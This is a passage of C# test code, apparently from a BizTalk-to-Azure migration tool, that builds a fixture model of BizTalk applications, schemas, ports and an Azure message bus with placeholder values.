                Name        = "Binding1",
                Description = "This is binding 1.",
                Type        = ModelConstants.ResourceDefinitionBindings,
                Key         = "binding-1",
                ParentRefId = resourceContainer.RefId
            };

            resourceContainer.ResourceDefinitions.Add(bindingResourceDefinition1);

            var sendPortResource1 = new ResourceItem()
            {
                Name        = "SendPort1",
                Description = "This is sendport 1.",
                Type        = ModelConstants.ResourceSendPort,
                Key         = "sendport-1",
                ParentRefId = bindingResourceDefinition1.RefId
            };

            bindingResourceDefinition1.Resources.Add(sendPortResource1);

            var sendPortFilterResource1 = new ResourceItem()
            {
                Name        = "SendPort1-Filter",
                Description = "This is sendport 1, filter expression",
                Type        = ModelConstants.ResourceFilterExpression,
                Key         = "sendport-1-filter",
                ParentRefId = sendPortResource1.RefId
            };

            sendPortResource1.Resources.Add(sendPortFilterResource1);

            var receivePortResource1 = new ResourceItem()
            {
                Name        = "ReceivePort1",
                Description = "This is receive port 1.",
                Type        = ModelConstants.ResourceReceivePort,
                Key         = "receiveport-1",
                ParentRefId = bindingResourceDefinition1.RefId
            };

            bindingResourceDefinition1.Resources.Add(receivePortResource1);

            var receiveLocation1 = new ResourceItem()
            {
                Name        = "ReceiveLocation1",
                Description = "This is receive location 1.",
                Type        = ModelConstants.ResourceReceiveLocation,
                Key         = "receivelocation-1",
                ParentRefId = receivePortResource1.RefId
            };

            receivePortResource1.Resources.Add(receiveLocation1);

            var distributionListResource1 = new ResourceItem
            {
                Name        = "DistributionList1",
                Description = "This is distributionlist 1.",
                Type        = ModelConstants.ResourceDistributionList,
                Key         = "distributionlist-1",
                ParentRefId = bindingResourceDefinition1.RefId
            };

            bindingResourceDefinition1.Resources.Add(distributionListResource1);

            var distributionListFilterResource1 = new ResourceItem
            {
                Name        = "DistributionListFilter1",
                Description = "This is distribution list filer 1.",
                Type        = ModelConstants.ResourceFilterExpression,
                Key         = "distributionlistfilter-1",
                ParentRefId = distributionListResource1.RefId
            };

            distributionListResource1.Resources.Add(distributionListFilterResource1);

            // Create a parsed BizTalk Application Group
            var applicationGroup = new ParsedBizTalkApplicationGroup();

            model.MigrationSource.MigrationSourceModel = applicationGroup;

            // Create applications
            var application1 = new ParsedBizTalkApplication();

            application1.Application.Name = "Test App 1";
            applicationGroup.Applications.Add(application1);

            var application2 = new ParsedBizTalkApplication();

            application2.Application.Name     = "Test App 2";
            application2.Application.Bindings = new BindingFile {
                BindingInfo = new BindingInfo()
            };

            applicationGroup.Applications.Add(application2);

            var application3 = new ParsedBizTalkApplication();

            application3.Application.Name = "Test App 3";
            applicationGroup.Applications.Add(application3);
            application3.Application.Bindings = new BindingFile {
                BindingInfo = new BindingInfo()
            };

            // Create application definitions
            application1.Application.ApplicationDefinition = new ApplicationDefinitionFile()
            {
                ResourceContainerKey  = resourceContainer.Key,
                ResourceDefinitionKey = appResourceDefinition1.Key,
                ResourceKey           = appResource1.Key,
                ApplicationDefinition = new ApplicationDefinition()
                {
                    Properties = new List <ApplicationDefinitionProperty>()
                    {
                        new ApplicationDefinitionProperty()
                        {
                            Name = "DisplayName", Value = application1.Application.Name
                        },
                        new ApplicationDefinitionProperty()
                        {
                            Name = "ApplicationDescription", Value = application1.Application.Name + " Description"
                        }
                    }.ToArray()
                }
            };

            application2.Application.ApplicationDefinition = new ApplicationDefinitionFile()
            {
                ResourceContainerKey  = resourceContainer.Key,
                ResourceDefinitionKey = appResourceDefinition2.Key,
                ResourceKey           = appResource2.Key,
                ApplicationDefinition = new ApplicationDefinition()
                {
                    References = new List <ApplicationDefinitionReference>()
                    {
                        new ApplicationDefinitionReference()
                        {
                            Name = application3.Application.Name
                        }
                    }.ToArray(),
                    Properties = new List <ApplicationDefinitionProperty>()
                    {
                        new ApplicationDefinitionProperty()
                        {
                            Name = "DisplayName", Value = application2.Application.Name
                        },
                        new ApplicationDefinitionProperty()
                        {
                            Name = "ApplicationDescription", Value = application2.Application.Name + " Description"
                        }
                    }.ToArray()
                }
            };

            application3.Application.ApplicationDefinition = new ApplicationDefinitionFile()
            {
                ResourceContainerKey  = resourceContainer.Key,
                ResourceDefinitionKey = appResourceDefinition3.Key,
                ResourceKey           = appResource3.Key,
                ApplicationDefinition = new ApplicationDefinition()
                {
                    Properties = new List <ApplicationDefinitionProperty>()
                    {
                        new ApplicationDefinitionProperty()
                        {
                            Name = "DisplayName", Value = application3.Application.Name
                        },
                        new ApplicationDefinitionProperty()
                        {
                            Name = "ApplicationDescription", Value = application3.Application.Name + " Description"
                        }
                    }.ToArray()
                }
            };

            // Create schemas
            var documentSchema1 = new Types.Entities.Schema()
            {
                Name                  = "DocumentSchema1",
                Namespace             = "Test.Schemas",
                FullName              = "Test.Schemas.DocumentSchema1",
                XmlNamespace          = "http://schemas.test.com/DocumentSchema1",
                RootNodeName          = "Root",
                ResourceDefinitionKey = schemaResourceDefinition1.Key,
                ResourceKey           = schemaResource1.Key,
                SchemaType            = BizTalkSchemaType.Document
            };

            documentSchema1.MessageDefinitions.Add(new MessageDefinition(documentSchema1.RootNodeName, documentSchema1.XmlNamespace, "Test.Schemas.DocumentSchema1", "DocumentSchema1", "document-schema-1:schema:Root"));
            documentSchema1.PromotedProperties.Add(new PromotedProperty()
            {
                PropertyType = "Test.Schemas.PropertySchema1.Property1", XPath = "some xpath"
            });
            application1.Application.Schemas.Add(documentSchema1);

            var documentSchema2 = new Types.Entities.Schema()
            {
                Name                  = "DocumentSchema2",
                Namespace             = "Test.Schemas",
                FullName              = "Test.Schemas.DocumentSchema2",
                XmlNamespace          = "http://schemas.test.com/DocumentSchema2",
                RootNodeName          = "Root",
                ResourceDefinitionKey = schemaResourceDefinition2.Key,
                ResourceKey           = schemaResource2.Key,
                SchemaType            = BizTalkSchemaType.Document
            };

            documentSchema2.MessageDefinitions.Add(new MessageDefinition(documentSchema2.RootNodeName, documentSchema2.XmlNamespace, "Test.Schemas.DocumentSchema2", "DocumentSchema2", "document-schema-2:schema:Root"));
            application1.Application.Schemas.Add(documentSchema2);

            var propertySchema = new Types.Entities.Schema()
            {
                Name                  = "PropertySchema1",
                Namespace             = "Test.Schemas",
                FullName              = "Test.Schemas.PropertySchema1",
                XmlNamespace          = "http://schemas.test.com/PropertySchema1",
                RootNodeName          = "Root",
                ResourceDefinitionKey = schemaResourceDefinition3.Key,
                ResourceKey           = schemaResource3.Key,
                SchemaType            = BizTalkSchemaType.Property
            };

            propertySchema.ContextProperties.Add(new ContextProperty()
            {
                DataType = "xs:string", FullyQualifiedName = "Test.Schemas.PropertySchema1.Property1", PropertyName = schemaResource3Property1.Name, Namespace = "Test.Schemas.PropertySchema1", ResourceKey = schemaResource3Property1.Key
            });
            propertySchema.ContextProperties.Add(new ContextProperty()
            {
                DataType = "xs:int", FullyQualifiedName = "Test.Schemas.PropertySchema1.Property2", PropertyName = schemaResource3Property2.Name, Namespace = "Test.Schemas.PropertySchema1", ResourceKey = schemaResource3Property2.Key
            });
            application1.Application.Schemas.Add(propertySchema);

            // Create transforms
            var map = new Types.Entities.Transform()
            {
                Name                  = "Transform1",
                FullName              = "Test.Maps.Transform1",
                ModuleName            = "Test.Maps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
                Namespace             = "Test.Maps",
                ResourceContainerKey  = resourceContainer.Key,
                ResourceDefinitionKey = transformResourceDefinition1.Key
            };

            map.SourceSchemaTypeNames.Add("Test.Schemas.DocumentSchema1");
            map.TargetSchemaTypeNames.Add("Test.Schemas.DocumentSchema2");
            application1.Application.Transforms.Add(map);

            // Create send ports.
            var sendPort = new SendPort
            {
                ResourceKey      = sendPortResource1.Key,
                Description      = "This is a send port description.",
                Name             = "Test.SendPorts.SendPort1",
                FilterExpression = new Types.Entities.Filters.Filter
                {
                    Group = new Types.Entities.Filters.Group[]
                    {
                        new Types.Entities.Filters.Group
                        {
                            Statement = new Types.Entities.Filters.Statement[]
                            {
                                new Types.Entities.Filters.Statement()
                            }
                        }
                    }
                }
            };

            /// Create receive ports.
            var receivePort = new ReceivePort
            {
                ResourceKey      = receivePortResource1.Key,
                Description      = receivePortResource1.Description,
                Name             = receivePortResource1.Name,
                ReceiveLocations = new ReceiveLocation[]
                {
                    new ReceiveLocation
                    {
                        ResourceKey = receiveLocation1.Key,
                        Name        = receiveLocation1.Name,
                        Description = receiveLocation1.Name
                    }
                }
            };

            // Create distribution lists.
            var distributionList = new DistributionList
            {
                ResourceKey      = distributionListResource1.Key,
                Description      = distributionListResource1.Description,
                Name             = distributionListResource1.Name,
                FilterExpression = new Types.Entities.Filters.Filter
                {
                    ResourceKey = distributionListFilterResource1.Key,
                    Group       = new Types.Entities.Filters.Group[]
                    {
                        new Types.Entities.Filters.Group()
                    }
                }
            };

            application1.Application.Bindings = new BindingFile
            {
                BindingInfo = new BindingInfo
                {
                    SendPortCollection         = new SendPort[] { sendPort },
                    ReceivePortCollection      = new ReceivePort[] { receivePort },
                    DistributionListCollection = new DistributionList[] { distributionList }
                }
            };

            // Target model
            model.MigrationTarget.TargetEnvironment     = AzureIntegrationServicesTargetEnvironment.Consumption;
            model.MigrationTarget.DeploymentEnvironment = "dev";
            model.MigrationTarget.AzureSubscriptionId   = "azure-subs-id";
            model.MigrationTarget.AzurePrimaryRegion    = "UK South";
            model.MigrationTarget.AzureSecondaryRegion  = "UK West";

            // Add a message bus
            model.MigrationTarget.MessageBus = new MessageBus()
            {
                Name           = "ContosoMessageBus",
                Key            = "ContosoMessageBus",
                ResourceMapKey = "messageBus",
            };
            var messageBusResourceTemplate = new TargetResourceTemplate()
            {
                OutputPath = "output"
            };

            messageBusResourceTemplate.ResourceTemplateFiles.Add("path/to/file.json.liquid");
            messageBusResourceTemplate.ResourceTemplateFiles.Add("path/to/file2.json");
            model.MigrationTarget.MessageBus.Resources.Add(messageBusResourceTemplate);

            // Add an application
            var systemApp = new Application()
            {
                Name = "System",
                Key  = "ContosoMessageBus:System"
            };

            model.MigrationTarget.MessageBus.Applications.Add(systemApp);

            var app = new Application()
            {
                Name           = "AppA",
                Key            = "ContosoMessageBus:AppA",
                ResourceMapKey = "application"
            };

            model.MigrationTarget.MessageBus.Applications.Add(app);

            // Add an application message
            var appMessage = new DocumentMessage()
            {
                Name          = "PurchaseOrderFlatFile",
                MessageSchema = new MessageSchema
                {
                    ResourceKeyRef = messageResource1.Key,
                    Name           = messageResource2.Name
                },
                Key            = "ContosoMessageBus:AppA:PurchaseOrderFlatFile",
                ContentType    = MessageContentType.Xml,
                ResourceMapKey = "applicationMessage"
            };

            app.Messages.Add(appMessage);

            var appMessageResource1 = new TargetResourceTemplate()
            {
                OutputPath   = "OutputPath",
                ResourceType = ModelConstants.ResourceTypeXml
            };

            appMessage.Resources.Add(appMessageResource1);

            var transform = new MessageTransform
            {
                Name           = "MessageTransform",
                ResourceKeyRef = "transform-1-resource",
            };

            appMessage.MessageTransforms.Add(transform);

            var appMessageResource2 = new TargetResourceTemplate()
            {
                OutputPath   = "OutputPath",
                ResourceType = ModelConstants.ResourceTypeXslt
            };

            appMessage.Resources.Add(appMessageResource2);

            // Add a message box
            var messageBox = new TopicChannel()
            {
                Name           = "MessageBox",
                Key            = "ContosoMessageBus:System:MessageBox",
                ResourceMapKey = "messageBox"
            };

            systemApp.Channels.Add(messageBox);

            // Add a message agent
            var messageAgent = new ContentBasedRouter()
            {
                Name           = "MessageAgent",
                Key            = "ContosoMessageBus:System:MessageAgent",
                ResourceMapKey = "messageAgent"
            };

            systemApp.Intermediaries.Add(messageAgent);

            // Add an FTP endpoint
            var ftpReceive = new AdapterEndpoint()
            {
                Name           = "FtpReceive",
                Key            = "ContosoMessageBus:System:FtpReceive",
                ResourceMapKey = "ftpReceive"
            };

            systemApp.Endpoints.Add(ftpReceive);

            return(model);
        }